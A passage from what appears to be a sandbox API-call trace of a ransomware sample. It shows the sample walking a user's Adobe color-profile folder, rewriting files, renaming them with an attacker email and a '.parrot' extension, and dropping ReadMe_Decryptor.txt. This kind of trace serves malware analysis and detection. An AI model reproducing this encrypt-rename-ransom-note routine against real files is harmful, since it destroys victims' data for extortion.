nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.277] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.277] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0035.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.277] lstrcmpW (lpString1="wscRGB.icc", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.278] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x102a0 [0035.278] LockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x103b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.278] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.278] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0035.280] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.280] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x102a0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x102a0, lpOverlapped=0x0) returned 1 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.281] GetLastError () returned 0x0 [0035.281] SetLastError (dwErrCode=0x0) [0035.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.282] GetLastError () returned 0x0 [0035.282] SetLastError (dwErrCode=0x0) [0035.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.282] GetLastError () returned 0x0 [0035.282] SetLastError (dwErrCode=0x0) [0035.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0035.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x2230058 [0035.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0035.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x2234098 [0035.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2230058 | out: hHeap=0x5b0000) returned 1 [0035.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x659230 [0035.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2234098 | out: hHeap=0x5b0000) returned 1 [0035.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x669270 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0035.287] GetLastError () returned 0x0 [0035.287] SetLastError (dwErrCode=0x0) [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbfb8 [0035.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60cdc0 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.287] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4e8 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60cf48 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d0838 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d1760 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0035.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x659230 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x65c1c8 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x660918 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65c1c8 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2230058 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x660918 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x659230 [0035.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2230058 | out: hHeap=0x5b0000) returned 1 [0035.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2230058 [0035.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0035.290] WriteFile (in: hFile=0x26c, lpBuffer=0x2230060*, nNumberOfBytesToWrite=0x103c8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2230060*, lpNumberOfBytesWritten=0x18ebe4*=0x103c8, lpOverlapped=0x0) returned 1 [0035.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2230058 | out: hHeap=0x5b0000) returned 1 [0035.291] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x103b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.292] CloseHandle (hObject=0x26c) returned 1 [0035.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x60cf48 [0035.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cbfb8 [0035.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0035.293] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669270 | out: hHeap=0x5b0000) returned 1 [0035.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d0838 [0035.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cbfb8 [0035.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.294] GetFileType (hFile=0x26c) returned 0x1 [0035.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.343] lstrcmpW (lpString1="wsRGB.icc", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.344] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0xa74 [0035.344] LockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.344] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.344] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0035.345] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.346] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xa74, lpOverlapped=0x0) returned 1 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.346] GetLastError () returned 0x0 [0035.346] SetLastError (dwErrCode=0x0) [0035.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.346] GetLastError () returned 0x0 [0035.346] SetLastError (dwErrCode=0x0) [0035.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.346] GetLastError () returned 0x0 [0035.346] SetLastError (dwErrCode=0x0) [0035.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa80) returned 0x5cce58 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1513) returned 0x5cd8e0 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.347] GetLastError () returned 0x0 [0035.347] SetLastError (dwErrCode=0x0) [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbfb8 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60cdc0 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.347] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4e8 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60cf48 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d0838 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d1760 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cce58 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d4d18 [0035.348] 